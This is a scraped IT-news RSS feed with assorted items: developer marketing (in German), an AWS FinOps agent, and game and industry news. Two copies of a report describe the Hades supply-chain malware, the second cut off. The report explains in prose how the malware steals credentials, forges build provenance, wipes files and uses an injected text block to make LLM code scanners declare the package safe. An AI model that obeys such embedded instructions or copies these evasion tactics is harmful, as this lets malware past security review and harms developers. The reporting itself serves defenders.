<p>Angesichts der Größe, die der Markt für Entwickler-Lösungen inzwischen erlangt hat, geht es auch um viel Geld. Und um das einzunehmen, müssen die Anbieter der Tools – beziehungsweise deren Marketing-Abteilungen – die Aufmerksamkeit der Entwickler auf ihre Produkte lenken. Dabei gibt es nur ein “kleines” Problem: Developer verweigern sich in aller Regel Marketing- und PR-Offensiven. In diesem Artikel werfen wir einen Blick darauf, warum sich das so verhält – und wie Anbieter und Marketing-Experten die <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" target="_blank">Entwickler</a> erreichen könnten.</p>



<h2 class="wp-block-heading">Warum Entwickler nicht auf Marketing-Geschwätz stehen</h2>



<p>Die Gründe für die Abneigung von Entwicklern gegenüber Werbearien hat diverse Gründe. Diese vier gehören zu den stichhaltigsten.</p>



<ul class="wp-block-list">
<li>Die Benutzer von Dev-Tools sind in der Regel nicht diejenigen, die Budgets managen – sondern ihre Vorgesetzten. Bei einigen Entwicklungsteams werden die Tools von oben vorgegeben. Andere (<a href="https://www.computerwoche.de/article/4057157/6-fuhrungstipps-fur-chefentwickler.html" target="_blank">meist glücklichere</a>) Teams können dem Management diesbezüglich ihre Empfehlungen unterbreiten. Aber am Ende unterschreiben die Entwickler nicht den Scheck.</li>



<li>Entwickler stehen <a href="https://www.computerwoche.de/article/2815709/die-6-groessten-it-hypes.html" target="_blank">Hype</a> in jeglicher Form meistens kritisch gegenüber. Wenn Sie es also darauf anlegen wollen, dass Ihr Tool von vornherein durchgängig abgelehnt wird, werfen Sie mit Superlativen um sich. Oder behaupten Sie, dass Ihr Produkt sämtliche Bugs in jeder Software beseitigt. Entwickler lassen sich von <a href="https://www.computerwoche.de/article/2821116/widerstehen-sie-dem-hype.html" target="_blank">Buzzwords</a> nicht blenden – das überlassen sie lieber ihren Managern.</li>



<li>Entwickler geben mehr auf die Empfehlungen von Kollegen als der von Werbefachleuten. Wenn Devs von einem neuen Tool hören, suchen sie in der Regel eher auf Reddit oder anderen <a href="https://www.computerwoche.de/article/3992068/was-kommt-nach-stack-overflow.html" target="_blank">einschlägigen Foren</a> nach Einschätzungen als auf der Webseite eines Herstellers. Das hat zur Folge, dass traditionelle Marketingkampagnen bei Entwicklern eher ins Leere laufen. Wenn Sie jetzt als Anbieter gerade darüber nachdenken, ihr Produkt einfach dort entsprechend zu “platzieren”, dürfen Sie schneller mit einem Lifetime-Bann rechnen als Mark Zuckerberg auf einer beliebigen Datenschutzkonferenz.</li>



<li>Entwickler wollen sehen, wie die Dinge in der Praxis performen – nicht mit Marketing-Pitches gelangweilt werden. Auch nicht, wenn der die Gestalt eines “Whitepaper” annimmt. So etwas wird sich kein Dev zweimal ansehen. Kommen Sie besser erst gar nicht auf die Idee, ein Verkaufsgespräch mit einem Entwickler-Team anzuberaumen. Das ist reine Zeitverschwendung.</li>
</ul>



<h2 class="wp-block-heading">Was für Developer bei Tools wirklich zählt</h2>



<p>Was Entwickler wirklich wollen, ist selbst zu recherchieren, selbst auszuprobieren und sich in Eigenregie mit der Dokumentation eines Tools beschäftigen. Eine Webseite für Entwickler-Tools sollte darauf optimiert sein und es möglichst einfach machen, schnell die Informationen zu finden auf die es für Entwickler ankommt. Sie können wochenlang an PR-Botschaften auf Ihrer Produkt-Seite laborieren – die Augen von Entwicklern werden sich dennoch auf die kostenlose Testversion Ihrer Anwendung und die Dokumentation richten. Machen Sie diese Dinge leicht zugänglich und Sie sind der Konkurrenz einen Schritt voraus.</p>



<p>Ein Menüpunkt auf der Seite, der sich dediziert an Developer richtet und Quicklinks zu Sandbox-Umgebungen, funktionierenden Code-Demos, die Ihr Tool in Aktion zeigen, sowie kostenlosen APIs bietet, ist das, was Entwickler wirklich suchen. Empfehlenswert ist außerdem, das Preisgefüge klar und deutlich sichtbar zu machen. Hinweise wie “Kontaktieren Sie unser Experten-Team für ein persönliches Angebo”“ haben in der Regel schon verloren. Die einzige Botschaft, die das an Entwickler sendet, ist “das wird teuer”. Kurzum: Geben Sie Entwicklern, was diese wirklich wollen. Lassen Sie sie in Ruhe Ihr Tool austesten, statt sie mit Anrufen und Webinar-Anfragen zu penetrieren. Setzen Sie auf einfache, simple und leicht zugängliche Botschaften. Der Rest ergibt sich dann von selbst – falls Ihr Tool Developer wirklich <a href="https://www.computerwoche.de/article/3610452/entwickler-tools-gegen-zwangsjacken-feeling.html" target="_blank">weiterbringt</a>. (fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4058058/software-developers-arent-buying-it.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bug Bounty Bootcamp #45: Token?]]></title>
<description><![CDATA[You found a password reset that leaks the magic token in the API response. Or worse — the devs left an endpoint that just gives you…Continue reading on InfoSec Write-ups »]]></description>
<link>https://tsecurity.de/de/3600906/hacking/bug-bounty-bootcamp-45-token/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600906/hacking/bug-bounty-bootcamp-45-token/</guid>
<pubDate>Tue, 16 Jun 2026 09:09:22 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/bug-bounty-bootcamp-45-token-2b606811c7ba"><img src="https://cdn-images-1.medium.com/max/1774/1*lOPgBd-erjmXUZqMC2XD5A.png" width="1774"></a></p><p class="medium-feed-snippet">You found a password reset that leaks the magic token in the API response. Or worse — the devs left an endpoint that just gives you…</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/bug-bounty-bootcamp-45-token-2b606811c7ba">Continue reading on InfoSec Write-ups »</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Java's Project Valhalla finally lands a preview in JDK 28]]></title>
<description><![CDATA[Don't hold your breath, though – architect Brian Goetz warns devs it will likely still be preview in next LTS release]]></description>
<link>https://tsecurity.de/de/3599817/it-nachrichten/javas-project-valhalla-finally-lands-a-preview-in-jdk-28/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599817/it-nachrichten/javas-project-valhalla-finally-lands-a-preview-in-jdk-28/</guid>
<pubDate>Mon, 15 Jun 2026 19:19:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Don't hold your breath, though – architect Brian Goetz warns devs it will likely still be preview in next LTS release]]></content:encoded>
</item>
<item>
<title><![CDATA["I'm proud to say we delivered": Xbox Game Studios head Craig Duncan departs alongside chief of staff, read his message to Microsoft devs]]></title>
<description><![CDATA[After nearly 14 years working under Xbox and 18 months leading Xbox Game Studios, Craig Duncan is stepping down and leaving Microsoft.]]></description>
<link>https://tsecurity.de/de/3599666/windows-tipps/im-proud-to-say-we-delivered-xbox-game-studios-head-craig-duncan-departs-alongside-chief-of-staff-read-his-message-to-microsoft-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599666/windows-tipps/im-proud-to-say-we-delivered-xbox-game-studios-head-craig-duncan-departs-alongside-chief-of-staff-read-his-message-to-microsoft-devs/</guid>
<pubDate>Mon, 15 Jun 2026 18:07:29 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After nearly 14 years working under Xbox and 18 months leading Xbox Game Studios, Craig Duncan is stepping down and leaving Microsoft.]]></content:encoded>
</item>
<item>
<title><![CDATA[NBA streetball, crafting with renewable energy and other new indie games worth checking out]]></title>
<description><![CDATA[Plus, the next game from the Mouthwashing devs and trying to survive as a sentient guitar.]]></description>
<link>https://tsecurity.de/de/3595438/it-nachrichten/nba-streetball-crafting-with-renewable-energy-and-other-new-indie-games-worth-checking-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595438/it-nachrichten/nba-streetball-crafting-with-renewable-energy-and-other-new-indie-games-worth-checking-out/</guid>
<pubDate>Sat, 13 Jun 2026 13:02:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Plus, the next game from the Mouthwashing devs and trying to survive as a sentient guitar.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple gives Mac devs a WSL-ish thing to call their own]]></title>
<description><![CDATA[Persistent containers promise native tooling and strong isolation, though docs, features, and memory handling need polish]]></description>
<link>https://tsecurity.de/de/3591276/it-nachrichten/apple-gives-mac-devs-a-wsl-ish-thing-to-call-their-own/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3591276/it-nachrichten/apple-gives-mac-devs-a-wsl-ish-thing-to-call-their-own/</guid>
<pubDate>Thu, 11 Jun 2026 18:33:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Persistent containers promise native tooling and strong isolation, though docs, features, and memory handling need polish]]></content:encoded>
</item>
<item>
<title><![CDATA[Eight trends I’ve noticed from watching hour of livestreams from Nintendo, PlayStation, Xbox and more]]></title>
<description><![CDATA[From horror galore to Chinese action games and YRK nostalgia, the key trends, trailers and surprises from the Summer Game Fest• Don’t get Pushing Buttons delivered to your inbox? Sign up hereDid you spend hours of your weekend watching a relentless series of video game adverts? No? I don’t blame ...]]></description>
<link>https://tsecurity.de/de/3587664/it-nachrichten/eight-trends-ive-noticed-from-watching-hour-of-livestreams-from-nintendo-playstation-xbox-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587664/it-nachrichten/eight-trends-ive-noticed-from-watching-hour-of-livestreams-from-nintendo-playstation-xbox-and-more/</guid>
<pubDate>Wed, 10 Jun 2026 14:49:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>From horror galore to Chinese action games and YRK nostalgia, the key trends, trailers and surprises from the Summer Game Fest</p><p>• <a href="https://www.theguardian.com/info/ng-interactive/2021/nov/24/sign-up-for-pushing-buttons-keza-macdonalds-weekly-look-at-the-world-of-gaming"><strong>Don’t get Pushing Buttons delivered to your inbox? Sign up here</strong></a></p><p>Did <em>you</em> spend hours of your weekend watching a relentless series of video game adverts? No? I don’t blame you – Summer Game Fest, the collection of livestreams that has arisen in place of the giant annual E3 video game expo in Los Angeles, is extremely overwhelming. There are the bigger, longer shows: the PlayStation and Xbox streams, the main SGF show hosted by Geoff Keighley and Lucy James, Future’s duet of the Future Games Show and the PC Gaming Show. Each show is two hours long. Then there are all the indie showcases: cosy games, female-led games, Black voices in gaming, Day of the Devs. Between them, they show off hundreds of games that might pique your interest.</p><p>I picked out <a href="https://www.theguardian.com/games/2026/jun/08/summer-game-fest-highlights-new-video-games-resident-evil-silent-hill">exactly 34 highlights here</a>: the biggest news, the most interesting-looking smaller games. But from the barrage of trailers I was also able to discern some trends. Here’s what we can learn.</p> <a href="https://www.theguardian.com/games/2026/jun/10/eight-trends-from-summer-game-fest-nintendo-playstation-xbox">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mouthwashing devs next project is co-op tank horror Carcass Clad]]></title>
<description><![CDATA[The developer of the massively popular game Mouthwashing revealed Carcass Clad, a visceral three person co-op tank horror game.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3587442/linux-tipps/mouthwashing-devs-next-project-is-co-op-tank-horror-carcass-clad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587442/linux-tipps/mouthwashing-devs-next-project-is-co-op-tank-horror-carcass-clad/</guid>
<pubDate>Wed, 10 Jun 2026 13:23:25 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The developer of the massively popular game Mouthwashing revealed Carcass Clad, a visceral three person co-op tank horror game.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1610734684id29191gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/mouthwashing-devs-next-project-is-co-op-tank-horror-carcass-clad/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS adds FinOps Agent to bring cloud cost management into engineering workflows]]></title>
<description><![CDATA[For many CIOs, the challenge of cloud cost management is no longer identifying spending problems but determining what caused them, why they happened, and how quickly they can be fixed. As cloud environments expand and AI workloads add new layers of complexity, cost governance is increasingly beco...]]></description>
<link>https://tsecurity.de/de/3586381/it-nachrichten/aws-adds-finops-agent-to-bring-cloud-cost-management-into-engineering-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3586381/it-nachrichten/aws-adds-finops-agent-to-bring-cloud-cost-management-into-engineering-workflows/</guid>
<pubDate>Wed, 10 Jun 2026 05:33:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For many CIOs, the challenge of cloud cost management is no longer identifying spending problems but determining what caused them, why they happened, and how quickly they can be fixed. As cloud environments expand and AI workloads add new layers of complexity, cost governance is increasingly becoming an operational challenge that stretches beyond centralized FinOps teams.</p>



<p>AWS is betting that its new FinOps Agent, currently in public preview, can help solve that problem by automatically investigating anomalies, answering cost questions, and routing findings directly to engineers and finance team members after drawing data and findings from existing services, such as AWS Cost Explorer, Cost Anomaly Detection, Cost Optimization Hub, and Compute Optimizer.</p>



<p>That routing, according to AWS, is made possible due to the agent’s integration with <a href="https://www.infoworld.com/article/2257378/how-to-configure-jira-to-support-multiple-agile-teams.html">Jira</a> and <a href="https://www.cio.com/article/191637/slack-on-slack-a-product-based-approach-to-automating-operations.html">Slack</a>, enabling alerts and optimization recommendations to be surfaced directly within the collaboration and ticketing tools that most engineering teams use.</p>



<h2 class="wp-block-heading">Faster remediation and improved accountability</h2>



<p>FinOps Agent’s value lies in stronger accountability and faster remediation that could result in improved cloud financial governance maturity.</p>



<p>“Most enterprises can already identify cost anomalies. What they struggle with is latency: Determining ownership, tracing the operational cause, and getting the issue in front of the correct engineering team quickly enough to matter,” said <a href="https://futurumgroup.com/dion-hinchcliffe/" target="_blank" rel="nofollow">Dion Hinchcliffe</a>, lead of the CIO practice at The Futurum Group. “FinOps Agent seeks to close the loop between detection, investigation, attribution, and operational response. That is strategically important because cloud inefficiency is often cumulative and highly distributed. Small misconfigurations repeated across thousands of workloads create enormous aggregate waste over time.” </p>



<p>In fact, the new agent’s automated root-cause analysis and routing, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="nofollow">Ashish Chaturvedi</a>, leader of executive research at HFS Research, is precisely what most enterprises currently lack.</p>



<p>“The gap in enterprise FinOps has never been data availability. The gap is what happens after the data surfaces. A cost anomaly detection alert fires, and then what? That workflow used to take hours and depended on a human remembering to do it. FinOps Agent collapses that entire chain into an automated loop,” Chaturvedi said.</p>



<p>The agent’s automated workflow could act as a way to embed accountability directly into cloud cost management processes, Chaturvedi noted.</p>



<p>“The agent traces the anomaly to a root cause, identifies the responsible owner (using your account-to-team mappings), and opens a Jira ticket in that engineer’s queue. When the person who caused the cost change gets the investigation summary in their own ticketing system, the accountability loop closes itself,” Chaturvedi said.</p>



<p>“That’s the real unlock: not better data, but data that arrives at the right desk at the right time with enough context to act on,” Chaturvedi added.</p>



<p>That automated workflow, according to Hinchcliffe, should also help reduce one of the biggest hidden costs in FinOps today: “The manual coordination overhead between finance, platform engineering, operations, and application teams.”</p>



<h2 class="wp-block-heading">Bringing cost intelligence closer to developers</h2>



<p>While the governance benefits may resonate most with CIOs and FinOps leaders, analysts say the new agent could also help reduce the burden on developer and engineering teams by making cost information more accessible and actionable without disrupting workflows.</p>



<p>“Traditionally, devs have had really poor visibility into the downstream financial impact of infrastructure decisions. Cost data often arrives too late, in the wrong format, or through centralized governance channels disconnected from day-to-day engineering work,” Hinchcliffe said.</p>



<p>“FinOps Agent brings cost reasoning directly into developer tooling and collaboration environments. The result is that developers can increasingly treat cost efficiency as a real-time engineering signal alongside performance, reliability, and security, which is exactly where mature cloud enterprises want it to be,” Hinchcliffe added.</p>



<h2 class="wp-block-heading">New operating model for FinOps?</h2>



<p>Beyond accountability and faster remediation, analysts also see the new agent as capable of driving  “meaningful evolution” in the FinOps operating model for CIOs.</p>



<p>“FinOps teams move away from being the people who manually chase anomalies and toward being the designers of guardrails, policies, and operating models. Engineers take on more day-to-day ownership because the feedback loop becomes immediate and embedded. For CIOs, the implication is significant: governance becomes more distributed, which can improve speed and accountability,” said <a href="https://www.linkedin.com/in/davidlinthicum/" target="_blank" rel="nofollow">David Linthicum</a>, an independent consultant.</p>



<p>However, Linthicum warned that CIOs shouldn’t take the FinOps Agent at face value: “Enterprises should watch for three things — whether recommendations are trusted, whether ownership routing is accurate, and whether actions actually get completed.”</p>



<p>“If AWS can make FinOps more embedded, contextual, and automated, this could be meaningful. If it becomes just another interface over existing data, the impact will be more incremental than transformational,” Linthicum pointed out.</p>



<h2 class="wp-block-heading">Why AI may accelerate the shift to agentic FinOps</h2>



<p>FinOps Agent could become more common and replace traditional FinOps due to the growing complexity and cost of AI deployments, analysts say.</p>



<p>“Traditional FinOps was built for infrastructure that scales predictably. Existing practices will buckle under AI workloads, and that will challenge this core underpinning principle. First, cost attribution is harder. Second, consumption is less predictable. Third, the ROI measurement is fundamentally different,” Chaturvedi said.</p>



<p>In fact, Hinchcliffe sees the new agent as part of a much larger industry transition from passive observability systems toward autonomous operational agents.</p>



<p>“FinOps is simply one of the first major operational domains where this transition is becoming commercially visible. The big implication is that <a href="https://www.infoworld.com/article/4071002/know-your-ops-why-all-ops-lead-back-to-devops.html">CloudOps, SecOps</a>, infrastructure management, governance, and even IT financial management are all likely to become increasingly agentic over the next several years,” Hinchcliffe added.</p>



<p>Enterprises and developers willing to try out the new FinOps Agent can do so from the AWS Management Console, the hyperscaler said.</p>



<p>The agent, which is available only in the US East region, currently comes at no charge, with a monthly usage limit, although standard charges apply for other AWS Services used in connection with the agent, it added. “It (FinOps Agent) can manage costs across other AWS Regions and accounts when set up in the management account,” the hyperscaler further said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[North Korean hackers are at it again — phishing scheme targets hundreds of workers to try and steal crypto and more]]></title>
<description><![CDATA[Lazarus is getting company as UNK_DeadDrop starts luring devs with fake jobs, too.]]></description>
<link>https://tsecurity.de/de/3585596/it-nachrichten/north-korean-hackers-are-at-it-again-phishing-scheme-targets-hundreds-of-workers-to-try-and-steal-crypto-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585596/it-nachrichten/north-korean-hackers-are-at-it-again-phishing-scheme-targets-hundreds-of-workers-to-try-and-steal-crypto-and-more/</guid>
<pubDate>Tue, 09 Jun 2026 20:32:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Lazarus is getting company as UNK_DeadDrop starts luring devs with fake jobs, too.]]></content:encoded>
</item>
<item>
<title><![CDATA[Devs know AI code is riddled with holes, but ship it anyway]]></title>
<description><![CDATA[Pressure to deploy wins out over security as four in five orgs confess to breaches from vulnerable apps]]></description>
<link>https://tsecurity.de/de/3584787/it-nachrichten/devs-know-ai-code-is-riddled-with-holes-but-ship-it-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3584787/it-nachrichten/devs-know-ai-code-is-riddled-with-holes-but-ship-it-anyway/</guid>
<pubDate>Tue, 09 Jun 2026 16:19:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Pressure to deploy wins out over security as four in five orgs confess to breaches from vulnerable apps]]></content:encoded>
</item>
<item>
<title><![CDATA[Meet Hades: The malware that lies to AI security agents]]></title>
<description><![CDATA[Threat actors are continuing their onslaught against software supply chains, now with malware named after death itself.



The newly-discovered Hades Campaign is a “highly sophisticated” supply chain compromise that targets Python developer environments and runs as soon as infected packages are i...]]></description>
<link>https://tsecurity.de/de/3583609/ai-nachrichten/meet-hades-the-malware-that-lies-to-ai-security-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583609/ai-nachrichten/meet-hades-the-malware-that-lies-to-ai-security-agents/</guid>
<pubDate>Tue, 09 Jun 2026 08:03:28 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Threat actors are continuing their onslaught against software supply chains, now with malware named after death itself.</p>



<p>The newly-discovered Hades Campaign is a “highly sophisticated” <a href="https://www.infoworld.com/article/4181836/patching-fast-and-slow-ruby-devs-delay-to-defend-against-supply-chain-attack.html" target="_blank">supply chain compromise</a> that targets Python developer environments and runs as soon as infected packages are imported. It uses the popular Bun toolkit to silently execute multi-layer payloads that can extract sensitive data, move laterally across compromised systems, exploit common security frameworks, and even hijack AI gatekeeper analyzer systems via adversarial prompt injection.</p>



<p>Notably, the campaign exploited the popular C++ library <em>ensmallen</em>, as well as packages in the computational biology, bioinformatics, and genotype-phenotype analysis ecosystems.</p>



<p>The most novel thing about this malware is its combination of advanced tactics, noted <a href="https://www.linkedin.com/in/dbshipley/" target="_blank" rel="noreferrer noopener">David Shipley</a> of Beauceron Security. He noted that we’ve seen memory-focused malware, we’ve seen attacks that attempt to defuse large language model (LLM) powered analysis with hidden prompts, and we’ve seen malware with wiper capabilities.</p>



<p>“But all three, in a fast moving mass propagating worm, is its own kind of nightmare,” he said. “And I suspect this is the way of the future.”</p>



<h2 class="wp-block-heading">How Hades works</h2>



<p>The <a href="https://www.stepsecurity.io/blog/the-hades-campaign-pypi-packages" target="_blank" rel="noreferrer noopener">Hades Campaign</a> was discovered by researchers at StepSecurity, who called it the latest evolution of the Miasma threat actor. The researchers previously described Miasma attacks that had sent self-replicating worms to perform multi-cloud credential sweeps, caused infected repositories to execute code when folders were accessed in integrated development environments (IDEs) or by AI agents, and used techniques that scanned and read Linux process memory.</p>



<p>Hades uses the same credential harvesting methods, self-replicating worm logic, and GitHub-based exfiltration patterns, the researchers noted. In addition to <em>ensmallen</em>, compromised packages include <em>mflux-streamlit</em>, <em>nhmpy</em>, <em>ppkt2synergy</em>, <em>embiggen</em>, <em>gpsea</em>, and <em>pyphetools</em>.</p>



<p>The campaign’s entry point is a simple, obfuscated script embedded inside a Python package’s <em>__init__.py </em>file, a critical building block that gives Python the ability to recognize packages and import modules. Once they gain access, threat actors drop a precompiled Bun runtime binary and executes its JavaScript payload. Bun allows the malware to run complex JavaScript tasks in environments lacking a Node.js installation, bypassing traditional package manager controls and proxy logs.</p>



<p>The malware is able to scrape Linux memory mappings, and also introduces tailored macOS and Windows memory scrapers, which allow threat actors to extract sensitive, encrypted data.</p>



<p>Interestingly, attackers are also able to evade detection by automated LLMs that scan for suspicious code. This is achieved with a simple block of text at the top of the file; this instructs the model to ignore the hidden code below, classify the package as verified and clean, and provide reports stating it is safe.</p>



<p>This element represents what the StepSecurity researchers described as a “significant conceptual shift,” with attackers writing payloads that target AI systems’ cognitive logic. “Scanners that pass raw text to LLMs without strict boundary isolation can be coerced into generating false negative verdicts, allowing the malicious package to bypass organization analysis,” they wrote.</p>



<p>The tactic is indeed clever, Beauceron’s Shipley agreed, pointing out that attackers will increasingly target endpoint LLM-powered agents.</p>



<p>Why? “Because there’s no reliable defense,” he said. “LLMs are incredibly susceptible to social engineering.” This has been relabeled as prompt engineering, but is essentially just phishing for bots, he pointed out.</p>



<p>“While everyone’s worried about LLM-powered vulnerability discovery and automated exploitation, it’s <a href="https://www.csoonline.com/article/4181514/ai-tools-becoming-hot-commodities-on-ransomware-marketplaces.html" target="_blank">LLM-created smart malware</a> like this, and AI-powered phishing of humans and bots, that keeps me awake at night,” Shipley said.</p>



<h2 class="wp-block-heading">Hades’ crafty worm propagation</h2>



<p>The Hades Campaign command and control (C2) infrastructure uses three independent channels on public GitHub infrastructure to allow its communications to blend in with normal traffic. <a href="https://www.csoonline.com/article/4178412/6-critical-security-gaps-every-ciso-must-address.html" target="_blank">Stolen credentials</a> are encrypted locally in a hybrid fashion (serialized, compressed, and pushed to a newly created public GitHub repository under attackers’ control). Exfiltrated repositories carry the description “Hades — The End for the Damned.”</p>



<p>Researchers noted that a core component of this campaign is its ability to propagate and move laterally across networks. It exploits the very methods meant to protect systems, including Secure Shell (SSH) and Secure Copy Protocol (SCP), OpenID Connect (OIDC),and Supply-chain Levels for Software Artifacts (SLSA).</p>



<p>For instance, when running inside a GitHub Actions workflow runner, the malware checks for OIDC variables, then bypasses registry signature policies and generates cryptographically signed SLSA provenance bundles via Sigstore. It can then fetch target libraries and inject the obfuscated script and JavaScript payload. From there, it can publish compromised versions to the Python Package Index (PyPI) repository and node package manager (npm) using the target’s credentials and the generated Sigstore bundle.</p>



<p>“This ensures that the published package appears to have valid, cryptographically verified build provenance from the organization’s official GitHub Actions build environment,” the researchers explained.</p>



<p>Further, if a harvested GitHub token has write permissions, the malware will target repositories to extract secrets using GitHub Actions runners. This occurs “directly from the runner’s address space without ever writing them to disk or making a suspicious network connection,” the researchers noted.</p>



<p>The malware also targets rule files and configuration directories for 14 different AI agents and systems, planting custom prompt instructions or executing hooks that trigger a <em>bun run bootstrap</em> command when the victim loads or consults the workspace with their AI assistant. Finally, it establishes persistence on the workstation and monitors for the presence of the stolen token; if that token is revoked, it executes a wiper process to erase the user’s files.</p>



<p></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meet Hades: The malware that lies to AI security agents]]></title>
<description><![CDATA[Threat actors are continuing their onslaught against software supply chains, now with malware named after death itself.



The newly-discovered Hades Campaign is a “highly sophisticated” supply chain compromise that targets Python developer environments and runs as soon as infected packages are i...]]></description>
<link>https://tsecurity.de/de/3583552/it-security-nachrichten/meet-hades-the-malware-that-lies-to-ai-security-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583552/it-security-nachrichten/meet-hades-the-malware-that-lies-to-ai-security-agents/</guid>
<pubDate>Tue, 09 Jun 2026 07:22:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Threat actors are continuing their onslaught against software supply chains, now with malware named after death itself.</p>



<p>The newly-discovered Hades Campaign is a “highly sophisticated” <a href="https://www.infoworld.com/article/4181836/patching-fast-and-slow-ruby-devs-delay-to-defend-against-supply-chain-attack.html" target="_blank">supply chain compromise</a> that targets Python developer environments and runs as soon as infected packages are imported. It uses the popular Bun toolkit to silently execute multi-layer payloads that can extract sensitive data, move laterally across compromised systems, exploit common security frameworks, and even hijack AI gatekeeper analyzer systems via adversarial prompt injection.</p>



<p>Notably, the campaign exploited the popular C++ library <em>ensmallen</em>, as well as packages in the computational biology, bioinformatics, and genotype-phenotype analysis ecosystems.</p>



<p>The most novel thing about this malware is its combination of advanced tactics, noted <a href="https://www.linkedin.com/in/dbshipley/" target="_blank" rel="noreferrer noopener">David Shipley</a> of Beauceron Security. He noted that we’ve seen memory-focused malware, we’ve seen attacks that attempt to defuse large language model (LLM) powered analysis with hidden prompts, and we’ve seen malware with wiper capabilities.</p>



<p>“But all three, in a fast moving mass propagating worm, is its own kind of nightmare,” he said. “And I suspect this is the way of the future.”</p>



<h2 class="wp-block-heading">How Hades works</h2>



<p>The <a href="https://www.stepsecurity.io/blog/the-hades-campaign-pypi-packages" target="_blank" rel="noreferrer noopener">Hades Campaign</a> was discovered by researchers at StepSecurity, who called it the latest evolution of the Miasma threat actor. The researchers previously described Miasma attacks that had sent self-replicating worms to perform multi-cloud credential sweeps, caused infected repositories to execute code when folders were accessed in integrated development environments (IDEs) or by AI agents, and used techniques that scanned and read Linux process memory.</p>



<p>Hades uses the same credential harvesting methods, self-replicating worm logic, and GitHub-based exfiltration patterns, the researchers noted. In addition to <em>ensmallen</em>, compromised packages include <em>mflux-streamlit</em>, <em>nhmpy</em>, <em>ppkt2synergy</em>, <em>embiggen</em>, <em>gpsea</em>, and <em>pyphetools</em>.</p>



<p>The campaign’s entry point is a simple, obfuscated script embedded inside a Python package’s <em>__init__.py </em>file, a critical building block that gives Python the ability to recognize packages and import modules. Once they gain access, threat actors drop a precompiled Bun runtime binary and executes its JavaScript payload. Bun allows the malware to run complex JavaScript tasks in environments lacking a Node.js installation, bypassing traditional package manager controls and proxy logs.</p>



<p>The malware is able to scrape Linux memory mappings, and also introduces tailored macOS and Windows memory scrapers, which allow threat actors to extract sensitive, encrypted data.</p>



<p>Interestingly, attackers are also able to evade detection by automated LLMs that scan for suspicious code. This is achieved with a simple block of text at the top of the file; this instructs the model to ignore the hidden code below, classify the package as verified and clean, and provide reports stating it is safe.</p>



<p>This element represents what the StepSecurity researchers described as a “significant conceptual shift,” with attackers writing payloads that target AI systems’ cognitive logic. “Scanners that pass raw text to LLMs without strict boundary isolation can be coerced into generating false negative verdicts, allowing the malicious package to bypass organization analysis,” they wrote.</p>



<p>The tactic is indeed clever, Beauceron’s Shipley agreed, pointing out that attackers will increasingly target endpoint LLM-powered agents.</p>



